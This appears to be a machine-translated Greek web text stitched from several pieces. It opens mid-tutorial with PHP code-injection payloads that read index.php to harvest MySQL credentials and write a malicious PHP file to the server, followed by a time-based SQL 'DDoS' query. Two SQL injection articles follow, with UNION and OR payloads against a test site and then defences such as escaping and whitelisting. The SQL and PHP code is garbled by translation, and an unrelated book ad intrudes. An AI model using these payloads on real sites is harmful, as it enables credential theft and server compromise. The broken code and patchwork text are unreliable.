Τώρα θα διαχειριστούμε τον ιστότοπο μέσω του νέου μας σεναρίου.

$s=file_get_contents("index.php");
echo nl2br(htmlspecialchars($s));

Σημείωμα.Το file_get_contents() επιστρέφει τα περιεχόμενα ενός αρχείου σε μια συμβολοσειρά

παράδειγμα/1.php?x=$s=file_get_contents+("index.php");+echo+nl2br(htmlspecialchars($s));

Θα λάβουμε τον πηγαίο κώδικα του κύριου αρχείου. Εκεί θα βρούμε τη διαδρομή, τον κεντρικό υπολογιστή, τη σύνδεση και τον κωδικό πρόσβασης για τη MySql

Βήμα 3. Δημιουργήστε ένα αρχείο PHP.

Ας δημιουργήσουμε τώρα ένα αρχείο στον διακομιστή χρησιμοποιώντας το νέο μας σενάριο.

Κωδικός δημιουργίας αρχείου:

$str = "Hello World!";
$file = fopen("2.php","w");
fputs($αρχείο, $str);
fclose($αρχείο);

Θα προσθέσουμε τον κακόβουλο κώδικα στη μεταβλητή $str.

Βάση δεδομένων DDOS MySQL με χρήση SQL injection

Το αίτημα DDoS μοιάζει με αυτό:

ΕΠΙΛΟΓΗ ΣΗΜΕΙΩΣΗΣ (300000,md5(τρέχουσα_χρόνος))

Ο διακομιστής εκτελεί αυτήν την ενέργεια σε περίπου 1 δευτερόλεπτο.

ΕΠΙΛΟΓΗ ΣΗΜΕΙΩΣΗΣ (300000, BENCHMARK(500000,md5(τρέχουσα_χρόνος)))

Δεν ξέρω πόσο καιρό θα το κάνει αυτό, αλλά νομίζω για πολύ καιρό

Κυκλοφόρησε ένα νέο βιβλίο, το Social Media Content Marketing: How to Get Inside Your Followers' Heads and Make Them Fall Fall with Your Brand.

Συνεισφέρω

Είστε σίγουροι ότι ο ιστότοπός σας είναι ασφαλής; Το 45% των διαδικτυακών πόρων των μεγαλύτερων ρωσικών εταιρειών έχει κρίσιμους. Αφού διαβάσετε αυτό το άρθρο, θα μπορείτε να κάνετε έναν βασικό έλεγχο του ιστότοπού σας για ενέσεις SQL.

Ας καταλάβουμε πρώτα τι είναι ασφάλεια. Η ασφάλεια είναι μια κατάσταση προστασίας αυτοματοποιημένο σύστημα, με την προϋπόθεση ότι ο κίνδυνος δεν υπερβαίνει τις αποδεκτές τιμές. Με τη σειρά του, ο κίνδυνος είναι προϊόν ζημιάς και πιθανότητας. Ποια είναι η ζημιά; Η ζημιά είναι μια ποσοτική εκτίμηση της ζημίας που προκαλείται στο σύστημα. Νομίζω ότι όλοι είναι εξοικειωμένοι με την πιθανότητα.

Σας παρουσιάζω μια σύντομη μαθηματική επισκόπηση: με βάση αυτά βασικές έννοιεςεξετάστε τους μαθηματικούς κινδύνους (οι κατηγορίες κρατικών μυστικών χωρίζονται ακριβώς σύμφωνα με αυτές τις αρχές).

Πώς σχετίζεται αυτό με την προστασία του ιστότοπού σας, πιστεύετε; Να πώς: εσείς και εγώ ξέρουμε πολύ καλά ότι η απολύτως μηδενική πιθανότητα δεν υπάρχει (δηλαδή, αν και είναι μικρή πιθανότητα, ένα τζίνι θα μπορούσε να βγει από την οθόνη αυτή τη στιγμή και να εκπληρώσει 3 από τις επιθυμίες σας).

Γιατί το λέω αυτό; Επιπλέον, με τον ίδιο τρόπο, δεν υπάρχει σύστημα που να μην μπορεί να χακαριστεί, το μόνο ερώτημα είναι οι πόροι. Και αν προσεγγίσετε το θέμα επαγγελματικά, θα πρέπει να αξιολογήσετε την πιθανή ζημιά από μη εξουσιοδοτημένη πρόσβαση και να λάβετε τα κατάλληλα μέτρα για τη ζημιά σας.

Ναι, μπορούμε να εγκαταστήσουμε το TrueCrypt και να κρυπτογραφήσουμε τα δεδομένα και τους κωδικούς μας. Αρμονία διπλός έλεγχος ταυτότηταςκαι αποθηκεύστε τον σκληρό δίσκο με όλα αυτά σε ένα καταφύγιο, προστατευμένο από απευθείας πυρηνικό χτύπημα, αλλά αν έχουμε μόνο τον κωδικό πρόσβασης για "Επαφή" εκεί, τότε η πιθανή ζημιά δεν είναι συγκρίσιμη με τα μέσα προστασίας μας (εκτός, φυσικά, αποθηκεύετε πρόσβαση από το "VKontakte" των εκατομμυρίων τραπεζικών λογαριασμών σας).

Τώρα, θέλω να σας μεταφέρω πληροφορίες σχετικά με τα κύρια τρωτά σημεία των ιστοσελίδων.

Βασικές μέθοδοι και παραβίαση ιστοτόπων (ευπάθειες)

  1. SQL - injection;
  2. CSRF;
  3. Έγχυση PHP.

Αξίζει επίσης να σημειωθούν οι επιθέσεις: δεν μπορείτε να τις πάρετε μη εξουσιοδοτημένη πρόσβαση, αλλά είναι εύκολο να προκληθεί ανεπανόρθωτη ζημιά.

Σε αυτό το άρθρο θα δούμε αναλυτικά την πρώτη ευπάθεια.

SQL Injection

Τώρα πρέπει να καταλάβουμε τι είναι ο ιστότοπος, πώς λειτουργεί γενικό περίγραμμα. Ένας ιστότοπος είναι ένα πρόγραμμα, στο 90% των περιπτώσεων γραμμένο στη γλώσσα προγραμματισμού PHP.

Προκειμένου να είναι πιο βολικό για τους webmasters να διαχειρίζονται τον ιστότοπο, στις αρχές του δύο χιλιοστού άρχισαν να χρησιμοποιούν βάσεις δεδομένων (εφεξής καλούμενες βάσεις δεδομένων), όπου αποθηκεύονται όλες οι πληροφορίες σχετικά με εγγεγραμμένους χρήστες, για τους κωδικούς πρόσβασής τους, φυσικά, όχι μέσα ανοιχτή μορφή, αλλά περισσότερα για αυτό παρακάτω. Παρεμπιπτόντως, ακόμη και αυτό που διαβάζετε τώρα αποθηκεύεται στη βάση δεδομένων.

Τι είναι η ένεση SQL;

Είναι πολύ απλό. Η SQL είναι η γλώσσα επικοινωνίας με τη βάση δεδομένων και η λέξη Injection μεταφράζεται ως "injection". Με άλλα λόγια, χρησιμοποιώντας SQL Injectionμπορείτε να εισάγετε αυθαίρετο κώδικα SQL, τον οποίο ο διακομιστής θα επεξεργαστεί και θα παράγει μια απάντηση.

Πώς λειτουργούν όλα: παραδείγματα

Η βάση δεδομένων αποτελείται από πίνακες, κάθε πίνακας έχει γραμμές και στήλες, όλα είναι όπως στο Excel.

Για λόγους σαφήνειας, ας δούμε την κατά προσέγγιση δομή της βάσης δεδομένων στον γνωστό ιστότοπο VK.com

Κάθε χρήστης VKontakte, φυσικά, έχει μια σειρά από προσωπικές παραμέτρους: Όνομα, Επώνυμο, e-mail, ημερομηνία εγγραφής κ.λπ. Ως αποτέλεσμα, κάθε στήλη είναι υπεύθυνη για τη δική της παράμετρο.

Ταυτότητα | First_name| Επώνυμο | κωδικός πρόσβασης | e-mail....

1 | Πάβελ | Durov | | ....

2 | Vova | Pupkin | | ....

Πιθανότατα, θα αποφασίσετε ότι ο Pasha Durov και ο Vova Pupkin έχουν ένα πολύ σύνθετος κωδικός πρόσβασης(έως και 32 χαρακτήρες!), αλλά, στην πραγματικότητα, κάνετε λάθος. Τι υπάρχει; Αυτή είναι η λεγόμενη τιμή κατακερματισμού, το αποτέλεσμα του μετασχηματισμού της συνάρτησης κατακερματισμού. Με απλά λόγια- έναν κρυπτογραφημένο κωδικό πρόσβασης (αν και αυτό δεν είναι απολύτως αληθές). Σε τι χρησιμεύει αυτό; Για να αποτρέψετε έναν χάκερ να αποκτήσει εύκολα κωδικούς πρόσβασης χρήστη. Υπάρχουν όμως μέθοδοι και για αυτό. Εάν ο κωδικός πρόσβασης είναι κρυπτογραφημένος, αυτό δεν αποτελεί εγγύηση ασφάλειας.

Ας φανταστούμε ότι εσείς (το πρόγραμμα) πήγατε στο κατάστημα (DB) και ρωτήσατε τον πωλητή (ερώτημα SQL): "Παρακαλώ δώστε μου ένα πακέτο Marlboro για 100 ρούβλια".

Έτσι θα φαίνεται στην SQL:

ΕΠΙΛΕΞΤΕ όνομα προϊόντος ΑΠΟ ΤΟ Σούπερ μάρκετ ΟΠΟΥ (type="marlboro" ΚΑΙ τιμή="100") ΟΡΙΟ 1

Ο διακομιστής SQL θα δώσει την απάντηση στην ερώτησή σας και μπορείτε να κάνετε ό,τι θέλετε με αυτόν. Μπορείτε με κάποιο τρόπο να τροποποιήσετε αυτές τις πληροφορίες, να τις υπολογίσετε ή απλώς να τις εμφανίσετε στην οθόνη του προγράμματος περιήγησής σας.

Τώρα ας επιστρέψουμε στο SQL Injection, όπως ήδη γνωρίζουμε, αυτή είναι η ένεση αυθαίρετου κώδικα σε ένα ερώτημα SQL. Δηλαδή, υπάρχει μια ευπάθεια όταν ένας εισβολέας μπορεί να εισάγει τον δικό του εκτελέσιμο κώδικα.

Ας συνεχίσουμε. Διάβασες λοιπόν τον Άλεν Καρ και κόψες το κάπνισμα. Τώρα πας στο μαγαζί για αποκλειστικά υγιεινά προϊόντα :) Αυτή τη φορά, θα πας... καλά, ας πούμε, για γάλα.

Για να μην το ξεχάσετε, γράψατε σε ένα κομμάτι χαρτί: "Ένα πακέτο γάλα για 50 ρούβλια", αλλά έχετε έναν φίλο (χάκερ) που καπνίζει. Πραγματοποίησε μια επίθεση SQL και τώρα η επιγραφή γράφει: "Ένα κουτί γάλα για 50 ρούβλια. $ Ή ένα πακέτο Marlboro για 100 ρούβλια $"

Έρχεσαι στο κατάστημα και διαβάζεις από ένα κομμάτι χαρτί: «Παρακαλώ δώστε μου ένα κουτί γάλα για 50 ρούβλια ή ένα πακέτο Marlboros για 100».

ΕΠΙΛΕΞΤΕ το όνομα προϊόντος ΑΠΟ Σούπερ μάρκετ ΟΠΟΥ (type="milk" AND price="50") Ή (type="marlboro" AND price="100") LIMIT 1

Ο πωλητής σκέφτηκε ότι δεν χρειαζόταν να πάει στο ψυγείο με γάλα όταν τα τσιγάρα ήταν εκεί κοντά και τα έδωσε. Τώρα φεύγεις από το μαγαζί και ο φίλος σου περιμένει να του φέρεις τσιγάρα.

Ακολουθεί ένα παράδειγμα επιθέσεων SQL. Φαίνεται διαφορετικά στις ιστοσελίδες, φυσικά. Ο ιστότοπος ζητά μία πληροφορία από τη βάση δεδομένων και χρησιμοποιώντας SQL- μπορούν να ληφθούν ενέσεις, για παράδειγμα, στοιχεία σύνδεσης και κωδικοί πρόσβασης.

Πώς συμβαίνει το hacking;

Για να κατανοήσουμε με σαφήνεια τι ακριβώς πρέπει να γίνει, το πρόγραμμα εσωκλείει το ερώτημα SQL σε εισαγωγικά. θα σε φέρω πραγματικό παράδειγμα. Ας υποθέσουμε ότι θέλουμε να μάθουμε πόσο χρονών είναι ο φίλος μας γνωρίζοντας το όνομά του και στέλνοντάς το στη μεταβλητή $_GET['name']

Εκτελούμε το αίτημα:

$result = mysql_query("ΕΠΙΛΟΓΗ ηλικίας ΑΠΟ τους φίλους μου WHERE name=$_GET['name']");

Για παράδειγμα, θέλουμε να μάθουμε πόσο χρονών είναι η Nastya, αν και αυτό είναι απρεπές, η βάση δεδομένων θα μας πει τα πάντα :)

Το πρόγραμμα θα περιέχει τον κωδικό:

Mysql_query("ΕΠΙΛΟΓΗ ηλικίας ΑΠΟ τους φίλους μου WHERE name="Nastya");

Ας δούμε αυτό το κομμάτι λίγο πιο αναλυτικά. έχουμε 2 ζεύγη εισαγωγικών.

Το πρώτο ζεύγος υποδηλώνει ολόκληρο το ίδιο το αίτημα.

"ΕΠΙΛΟΓΗ ηλικίας ΑΠΟ τους φίλους μου WHERE name="Nastya"

Το δεύτερο ζεύγος αντιπροσωπεύει το όνομα. Nastya.

Λοιπόν, τι γίνεται αν ο εισβολέας γράψει όχι Nastya, αλλά Nastya», με ένα εισαγωγικό στο τέλος; Θα σπάσει τη σύνταξη της συνάρτησης mysql_quevery. Και ο διακομιστής SQL θα δώσει μια φυσική απόκριση - ένα σφάλμα (επειδή δεν θα μπορεί να επεξεργαστεί το ' , κάτι που δεν είναι συνάρτηση).

Έχετε ένα σφάλμα στη σύνταξη SQL. ελέγξτε το εγχειρίδιο που αντιστοιχεί στην έκδοση του διακομιστή MySQL για τη σωστή σύνταξη που θα χρησιμοποιήσετε κοντά στο Nastya"

Παρεμπιπτόντως, ξέχασα εντελώς να σας πω για τον χειριστή για σχολιασμό. Ένα από αυτά είναι δύο παύλες που μοιάζουν με αυτό: "--". Τι θα συμβεί αν παραδώσουμε τη Nastya - ;

Δικαίωμα. Όλες οι επόμενες καταχωρήσεις θα σχολιαστούν, π.χ. Το απόσπασμα για το κλείσιμο της συνάρτησης mysql_query() θα σχολιαστεί. Τώρα τον ρόλο του θα τον παίξει το εισαγωγικό που γράψαμε εμείς οι ίδιοι. Σωστά, τώρα ερχόμαστε στο διασκεδαστικό κομμάτι. Με αυτόν τον τρόπο αποκτήσαμε πρόσβαση για ελεύθερη πρόσβαση στη βάση δεδομένων. Έδωσα το παράδειγμα των περισσότερων απλό λάθοςπρογραμματιστής

Οι γλώσσες προγραμματισμού έχουν διαφορετικούς τύπους δεδομένων, υπάρχουν συμβολοσειρές (String), υπάρχουν αριθμοί (Integer), ανάλογα με αυτό πρέπει να δημιουργήσετε σωστά μια ένεση SQL. Παρεμπιπτόντως, το "1" μπορεί να είναι είτε συμβολοσειρά είτε ακέραιος.

Αυτή είναι μόνο η κορυφή του παγόβουνου, υπάρχουν δεκάδες τρόποι για την υλοποίηση απειλών όπως η έγχυση SQL.

Παράδειγμα παραβίασης ιστοσελίδων

Είναι πραγματικά όλα τόσο τρομακτικά όσο σου λένε; Δεν μπορώ να μην επισυνάψω ένα παράδειγμα. Εδώ βλέπουμε ένα ηλεκτρονικό κατάστημα που, χρησιμοποιώντας μια ευπάθεια SQL, μας παρείχε πληροφορίες σχετικά με την έκδοση του διακομιστή SQL. Μπορείτε εύκολα να εμφανίσετε πληροφορίες σχετικά με τις συνδέσεις/κωδικούς πρόσβασης, αλλά δεν εξετάζουμε μεθόδους πειρατείας και καταστροφικής επιρροής, αλλά, αντίθετα, μέσα προστασίας (παρεμπιπτόντως, η διαχείριση του ιστότοπου έχει ειδοποιηθεί για την ευπάθεια που βρέθηκε). Η ύπαρξη ευπάθειας σε ένα ηλεκτρονικό κατάστημα είναι απαράδεκτη και αν δέχεται και κάρτες, είναι απαράδεκτη. Οι κακοί χάκερ (όχι εμείς) μπορούν να έχουν πρόσβαση στον ιστότοπο και να καταγράφουν τα στοιχεία της χρεωστικής/πιστωτικής κάρτας των πελατών και στη συνέχεια να χρησιμοποιούν τις πληροφορίες για δικούς τους σκοπούς. Ως εκ τούτου, θα πρέπει να είστε πολύ προσεκτικοί όσον αφορά την ασφάλεια τόσο κατά τη δημιουργία ενός ιστότοπου όσο και κατά τις ηλεκτρονικές αγορές.

Αυτός είναι μόνο ένας από τους τρόπους που χρησιμοποιούν οι χάκερ για τη δημιουργία εσόδων από ιστότοπους. Υπάρχουν δεκάδες από αυτά: ιοί, πόρτες, ανακατευθύνσεις, πρόσθετες διαφημίσεις, αόρατα σαπούνια στον ιστότοπό σας... και πολλά άλλα... Αν ενδιαφέρεστε, θα χαρώ να γράψω ένα λεπτομερές άρθρο για αυτό το θέμα, γράψτε στο σχόλια.

Εσείς και εγώ καταλήξαμε στο συμπέρασμα ότι εάν έχετε ένα περισσότερο ή λιγότερο σημαντικό έργο, δεν μπορείτε να επιτρέψετε την ευπάθεια. Διαφορετικά, την πιο ακατάλληλη στιγμή, μπορεί να οδηγήσει σε σοβαρές συνέπειες. Εντάξει, το λύσαμε, αλλά τι πρέπει να κάνουμε; Για έναν επαγγελματικό έλεγχο, θα πρέπει να επικοινωνήσετε με εξειδικευμένες εταιρείες, αλλά τώρα μπορείτε να ελέγξετε μόνοι σας τις βασικές ευπάθειες SQL. Συχνά, οι χάκερ ελέγχουν για τρωτά σημεία αυτόματα και κλείνοντας τα βασικά τρωτά σημεία, μπορείτε να σώσετε τον ιστότοπό σας από τα μάτια ενός χάκερ.

Τι πρέπει να κάνω εάν ο ιστότοπός μου παραβιαστεί;

Παραβιάζοντας έναν ιστότοπο και χρησιμοποιώντας τις πληροφορίες για δικούς τους σκοπούς, οι χάκερ εγκαταλείπουν τις κερκόπορτες ( κρυφά σημείαείσοδος χάκερ). Αυτά μπορεί να είναι αρχεία με οποιαδήποτε επέκταση, ακόμα και jpg, αλλά θα περιέχουν κώδικα PHP για να διεισδύσουν στο σύστημα. Σήμερα, υπάρχουν πολλά PHP antivirus, προγράμματα που σαρώνουν σας σύστημα αρχείων site για το θέμα ύποπτα αρχεία. Μπορώ να προτείνω το δωρεάν λογισμικό AI-Bolit.

Για να ελέγξετε έναν ιστότοπο για παρουσία, πρέπει να κατεβάσετε ένα σενάριο προστασίας από ιούς στη φιλοξενία σας και να το εκτελέσετε, αυτό θα κάνει τα υπόλοιπα για εσάς. Αφού καθαρίσετε τις κερκόπορτες, πρέπει να κλείσετε το κενό από το οποίο έφτασε σε εσάς ο χάκερ. Ενημερώστε τη μηχανή, τα πρόσθετα, αλλάξτε τους κωδικούς πρόσβασης, μπορείτε να επικοινωνήσετε με τον οικοδεσπότη ώστε να παράγει ένα αρχείο καταγραφής, από το οποίο μπορείτε να καταλάβετε ακριβώς ποια πρόσβαση αποκτήθηκε. Μετά το κλείσιμο του καναλιού διείσδυσης και την αφαίρεση των κερκόπορτων, όλα πρέπει να είναι καλά, αλλά κάθε περίπτωση είναι ατομική και απαιτεί προσωπική προσέγγιση.

Πώς να προστατεύσετε τον ιστότοπό σας από το hacking: βασικός έλεγχος για τρωτά σημεία SQL

/index.php?id=410

Εκείνοι. οποιαδήποτε διεύθυνση URL που περιέχει παραμέτρους εισόδου. Εδώ η μεταβλητή $_GET['ID'] περιέχει την τιμή 140, η οποία πιθανώς μεταβιβάζεται στον διακομιστή της βάσης δεδομένων. Εκείνοι. για μια βασική δοκιμή, θα πρέπει να δοκιμάσετε να εισαγάγετε μια προσφορά και να δείτε τι επιστρέφει ο ιστότοπός σας.

Προστασία από ενέσεις SQL

Το πιο σημαντικό πράγμα είναι το φιλτράρισμα των εισερχόμενων δεδομένων, για παράδειγμα, στις παραμέτρους αναζήτησης, κατά την επιλογή ενός αριθμού σελίδας κ.λπ.

Ας επισημάνουμε τα κύρια σημεία για την προστασία του ιστότοπού σας.

*Η λευκή λίστα είναι η καλύτερη μέθοδος προστασίας από ενέσεις SQL. Η ουσία είναι ότι ο κώδικας του προγράμματος καθορίζει τις τιμές παραμέτρων που επιτρέπονται για μετάδοση στον διακομιστή SQL, γεγονός που εξαλείφει σχεδόν εντελώς την πιθανότητα παραβίασης ενός ιστότοπου χρησιμοποιώντας ενέσεις SQL.

Συγχαρητήρια! Διάβασες το άρθρο μέχρι τέλους! Νομίζω ότι οι αρχάριοι προγραμματιστές θα βρουν αυτό το άρθρο τουλάχιστον λίγο χρήσιμο.

Οι ιδιοκτήτες του ιστότοπου, ελπίζω, να μην φοβήθηκαν πολύ. Να ξέρετε ότι το κύριο πράγμα είναι να συνεργαστείτε καλές εταιρείες, και να μην επικοινωνήσετε με άγνωστα άτομα.

Παρεμπιπτόντως, έχουμε πολλά εκπαιδευτικά άρθρα που περιέχουν πολλά πρακτικές συμβουλέςμε ιστορία πολυετούς πρακτικής. Φυσικά, σκεφτόμασταν να δημιουργήσουμε μια θεματική λίστα αλληλογραφίας, αλλά δεν είχαμε ακόμη χρόνο. Άρα τι είναι πιο βολικό

SQL injection- Αυτός είναι ένας από τους πιο προσιτούς τρόπους για να χακάρετε έναν ιστότοπο.
Η ουσία τέτοιων εγχύσεων είναι η εισαγωγή αυθαίρετου κώδικα SQL στα δεδομένα (που μεταδίδονται μέσω GET, αιτημάτων POST ή τιμών Cookie). Εάν ο ιστότοπος είναι ευάλωτος και εκτελεί τέτοιες ενέσεις, τότε στην ουσία είναι δυνατό να κάνετε οτιδήποτε με τη βάση δεδομένων (τις περισσότερες φορές είναι η MySQL).

Πώς να εντοπίσετε ευπάθειες SQL injection;

Αρκετά εύκολο. Για παράδειγμα, υπάρχει μια δοκιμαστική τοποθεσία test.ru. Ο ιστότοπος εμφανίζει λίστα ειδήσεων, με δυνατότητα αναλυτικής προβολής. Η διεύθυνση της σελίδας με λεπτομερή περιγραφή των ειδήσεων μοιάζει με αυτό: test.ru/?detail=1. Δηλαδή, μέσω ενός αιτήματος GET, η μεταβλητή λεπτομερειών περνά την τιμή 1 (που είναι το αναγνωριστικό της καταχώρισης στον πίνακα ειδήσεων).

Αλλάξτε το αίτημα GET σε?detail=1" ή?detail=1" . Στη συνέχεια, προσπαθούμε να μεταφέρουμε αυτά τα αιτήματα στον διακομιστή, δηλαδή πηγαίνουμε στο test.ru/?detail=1 "ή στο test.ru/?detail=1".

Εάν εμφανιστεί κάποιο σφάλμα κατά την πρόσβαση σε αυτές τις σελίδες, τότε ο ιστότοπος είναι ευάλωτος σε ένεση SQL.

Ένα παράδειγμα σφάλματος που παρουσιάζεται κατά τον έλεγχο μιας ευπάθειας

Πιθανές ενέσεις SQL (ενέσεις SQL)
1) Τα πιο απλά συμπτύσσουν τη συνθήκη WHERE σε ένα πραγματικό αποτέλεσμα για οποιεσδήποτε τιμές παραμέτρων.
2) Σύνδεση ενός ερωτήματος με τα αποτελέσματα ενός άλλου ερωτήματος. Αυτό γίνεται μέσω του χειριστή UNION.
3) Σχολιασμός μέρους του αιτήματος.

Πρακτική. Επιλογές για παραβίαση ιστότοπου με ευπάθεια SQL injection

Έτσι, έχουμε τον ήδη αναφερόμενο ιστότοπο test.ru. Η βάση δεδομένων αποθηκεύει 4 ειδήσεις, 3 από τα οποία εμφανίζονται. Η άδεια δημοσίευσης ειδήσεων εξαρτάται από τη δημόσια παράμετρο (αν η παράμετρος περιέχει την τιμή 1, τότε η είδηση ​​δημοσιεύεται).

Κατάλογος ειδήσεων που επιτρέπεται να δημοσιεύονται

Κατά την πρόσβαση στη σελίδα test.ru/?detail=4, η οποία θα πρέπει να εμφανίζει την τέταρτη είδηση, εμφανίζεται ένα σφάλμα - η είδηση ​​δεν βρέθηκε.
Στην περίπτωσή μας η είδηση ​​υπάρχει, αλλά απαγορεύεται η δημοσίευσή της.

Αλλά επειδή έχουμε ήδη ελέγξει τον ιστότοπο για τρωτά σημεία και δημιούργησε ένα σφάλμα βάσης δεδομένων, προσπαθούμε να εξετάσουμε πιθανές επιλογές ερωτήματος.
ΣΕ γραμμή διευθύνσεωνΤο συν (+) λειτουργεί ως χώρος, οπότε μην ανησυχείτε

Δοκιμάζω τις παρακάτω επιλογές:
test.ru/?detail=4+OR+1
test.ru/?detail=4+--
test.ru/?detail=4+UNION+SELECT+ *+FROM+news+WHERE+id=4

Ως αποτέλεσμα, η τύχη χαμογέλασε και δύο αιτήματα (το πρώτο και το τρίτο) επιστράφηκαν σε εμάς λεπτομερής περιγραφήτέταρτη είδηση

Ανάλυση του παραδείγματος από μέσα

Το μπλοκ κώδικα είναι υπεύθυνο για τη λήψη μιας λεπτομερούς περιγραφής των ειδήσεων:
$detail_id=$_GET["λεπτομέρεια"];
$zapros="SELECT * FROM `$table_news` WHERE `public`="1" AND `id`=$detail_id ORDER BY `position` DESC";

Όχι μόνο το $detail_id λαμβάνει την τιμή χωρίς καμία επεξεργασία, αλλά και η κατασκευή `id`=$detail_id είναι γραμμένη στραβά, είναι καλύτερα να παραμείνετε στο `id`="$detail_id" (δηλαδή να γράψετε τη συγκριτική τιμή σε άμεσες απόστροφες) .

Εξετάζοντας το αίτημα που ελήφθη κατά την πρόσβαση στη σελίδα μέσω test.ru/?detail=4+OR+1

ΕΠΙΛΕΞΤΕ * ΑΠΟ ΕΙΔΗΣΕΙΣ ΠΟΥ `public`="1" ΚΑΙ `id`=4 Ή 1 ORDER BY `position` DESC

Δεν είναι απολύτως σαφές γιατί εμφανίστηκε η 4η είδηση. Το γεγονός είναι ότι το ερώτημα επέστρεψε όλες τις εγγραφές από τον πίνακα ειδήσεων, ταξινομημένες με φθίνουσα σειρά από την κορυφή. Και έτσι η 4η είδηση ​​μας αποδείχθηκε η πρώτη και εμφανίστηκε επίσης ως αναλυτική. Αυτό είναι απλώς μια σύμπτωση.

Ας αναλύσουμε το αίτημα που δημιουργήθηκε κατά την επικοινωνία μέσω test.ru/?detail=4+UNION+SELECT+*+FROM+news+WHERE+id=4 .

Εδώ το όνομα του πίνακα με ειδήσεις (στην περίπτωσή μας είναι είδηση) ελήφθη με λογική αναζήτηση.
Έτσι, εκτελέστηκε το ερώτημα SELECT * FROM `news` WHERE `public`="1" AND `id`=4 UNION SELECT * FROM news WHERE id=4 ORDER BY `position` DESC. Το μηδενικό αποτέλεσμα του πρώτου μέρους του ερωτήματος (πριν από την ΕΝΩΣΗ) ενώθηκε με το αποτέλεσμα του δεύτερου μέρους (μετά την ΕΝΩΣΗ), το οποίο επέστρεψε λεπτομερή περιγραφή της 4ης είδησης.

Προστασία από ενέσεις SQL (ενέσεις SQL)

Η προστασία από το hacking βασίζεται στον βασικό κανόνα της «εμπιστοσύνης αλλά επαλήθευσης». Πρέπει να ελέγξετε τα πάντα - αριθμούς, συμβολοσειρές, ημερομηνίες, δεδομένα σε ειδικές μορφές.
Αριθμοί
Για να ελέγξετε μια μεταβλητή για μια αριθμητική τιμή, χρησιμοποιήστε τη συνάρτηση is_numeric(n), η οποία θα επιστρέψει true αν η παράμετρος n είναι αριθμός, και false διαφορετικά.
Μπορείτε επίσης να μην ελέγξετε την τιμή για έναν αριθμό, αλλά να επαναπροσδιορίσετε με μη αυτόματο τρόπο τον τύπο. Ακολουθεί ένα παράδειγμα που αντικαθιστά την τιμή $id που ελήφθη από το $_GET["id_news"] στην τιμή ακέραιος τύπος(σε ακέραιο):
$id=(int)$_GET["id_news"];
Χορδές
Οι περισσότερες εισβολές SQL συμβαίνουν λόγω της παρουσίας «μη ουδετεροποιημένων» εισαγωγικών, αποστρόφων και άλλων ειδικών χαρακτήρων σε συμβολοσειρές. Για μια τέτοια εξουδετέρωση, πρέπει να χρησιμοποιήσετε τη συνάρτηση addslashes($str), η οποία επιστρέφει τη συμβολοσειρά $str με μια πρόσθετη ανάστροφη κάθετο (\) πριν από κάθε ιδιαίτερο χαρακτήρα. Αυτή η διαδικασίαπου ονομάζεται προσαρμογή ταινιών.

$a="παράδειγμα κειμένου με απόστροφο " ";
echo addslashes($a); //θα εμφανιστεί: παράδειγμα κειμένου με απόστροφο \"

Επιπλέον, υπάρχουν δύο συναρτήσεις που έχουν δημιουργηθεί ειδικά για τη διαφυγή συμβολοσειρών που χρησιμοποιούνται σε εκφράσεις SQL.
Αυτό είναι το mysql_escape_string($str); και mysql_real_escape_string($str);.

Το πρώτο δεν λαμβάνει υπόψη την κωδικοποίηση της σύνδεσης με τη βάση δεδομένων και μπορεί να παρακαμφθεί, αλλά το δεύτερο το λαμβάνει υπόψη και είναι απολύτως ασφαλές. mysql_real_escape_string($str); επιστρέφει τη συμβολοσειρά $str με μια ανάστροφη κάθετο προσαρτημένη στους ακόλουθους χαρακτήρες: \x00, \n, \r, \, ", " και \x1a .

Μαγικά αποσπάσματα

Μαγικά εισαγωγικά - το αποτέλεσμα της αυτόματης αντικατάστασης μιας προσφοράς με ανάστροφη κάθετο(\) και ένα εισαγωγικό για τις λειτουργίες I/O. Ορισμένες διαμορφώσεις PHP έχουν ενεργοποιημένη αυτήν την επιλογή και ορισμένες όχι. Προκειμένου να αποφευχθεί η διπλή διαφυγή χαρακτήρων και η κανονική διαφυγή δεδομένων μέσω mysql_real_escape_string($str);, είναι απαραίτητο να αφαιρέσετε τις αυτόματα προστιθέμενες ανάστροφες κάθετες (εάν είναι ενεργοποιημένα τα μαγικά εισαγωγικά).

Ο έλεγχος της συμπερίληψης μαγικών εισαγωγικών για δεδομένα που λαμβάνονται από το GET, το POST ή τα Cookies οργανώνεται μέσω της συνάρτησης get_magic_quotes_gpc(). (επιστρέφει 1 εάν τα μαγικά εισαγωγικά είναι ενεργοποιημένα, 0 εάν είναι απενεργοποιημένα).

Εάν περιλαμβάνονται μαγικά εισαγωγικά (δηλαδή προστίθενται ανάστροφες κάθετες) και αυτό συμβαίνει πιο συχνά, τότε πρέπει να αφαιρεθούν. Αυτό γίνεται μέσω της συνάρτησης stripslashes($str); (επιστρέφει τη συμβολοσειρά $str χωρίς ανάστροφες κάθετες σε εισαγωγικά και εμπρός απόστροφους).

Εν κατακλείδι, παρέχω τον κώδικα με ένα πλήρες στιγμιότυπο οθόνης των συμβολοσειρών για εγγραφή στη βάση δεδομένων

If(get_magic_quotes_gpc()==1)
{
$element_title=stripslashes(trim($_POST["element_title"]));
$element_text=stripslashes(trim($_POST["element_text"]));
$element_date=stripslashes(trim($_POST["element_date"]));
}
αλλού
{
$element_title=trim($_POST["element_title"]);
$element_text=trim($_POST["element_text"]);
$element_date=trim($_POST["element_date"]);
}

$element_title=mysql_real_escape_string($element_title);
$element_text=mysql_real_escape_string($element_text);
$element_date=mysql_real_escape_string($element_date);

Το άρθρο ετοιμάστηκε με βάση τις πρακτικές δεξιότητες στην προστασία των διαδικτυακών συστημάτων. Η θεωρία είναι καλή, αλλά η πράξη είναι πιο σημαντική και το κυριότερο είναι ότι λειτουργεί.

SQL injection για αρχάριους

Η έγχυση SQL είναι μια επικίνδυνη ευπάθεια που εμφανίζεται λόγω ανεπαρκούς φιλτραρίσματος των εισροών χρήστη, επιτρέποντας την τροποποίηση των ερωτημάτων της βάσης δεδομένων. Το αποτέλεσμα της εκμετάλλευσης της ένεσης SQL είναι να αποκτήσει πρόσβαση σε δεδομένα στα οποία ο χρήστης κανονικά δεν θα είχε πρόσβαση.

Το SQLi βρίσκεται συνήθως σε εφαρμογές web. Αλλά στην πραγματικότητα, κάθε πρόγραμμα που χρησιμοποιεί διαφορετικές βάσεις δεδομένων (όχι μόνο MySQL/MariaDB) μπορεί να είναι ευαίσθητο σε ένεση SQL.

Ως παράδειγμα, εξετάστε μια εφαρμογή που έχει πρόσβαση σε μια βάση δεδομένων με το ακόλουθο ερώτημα:

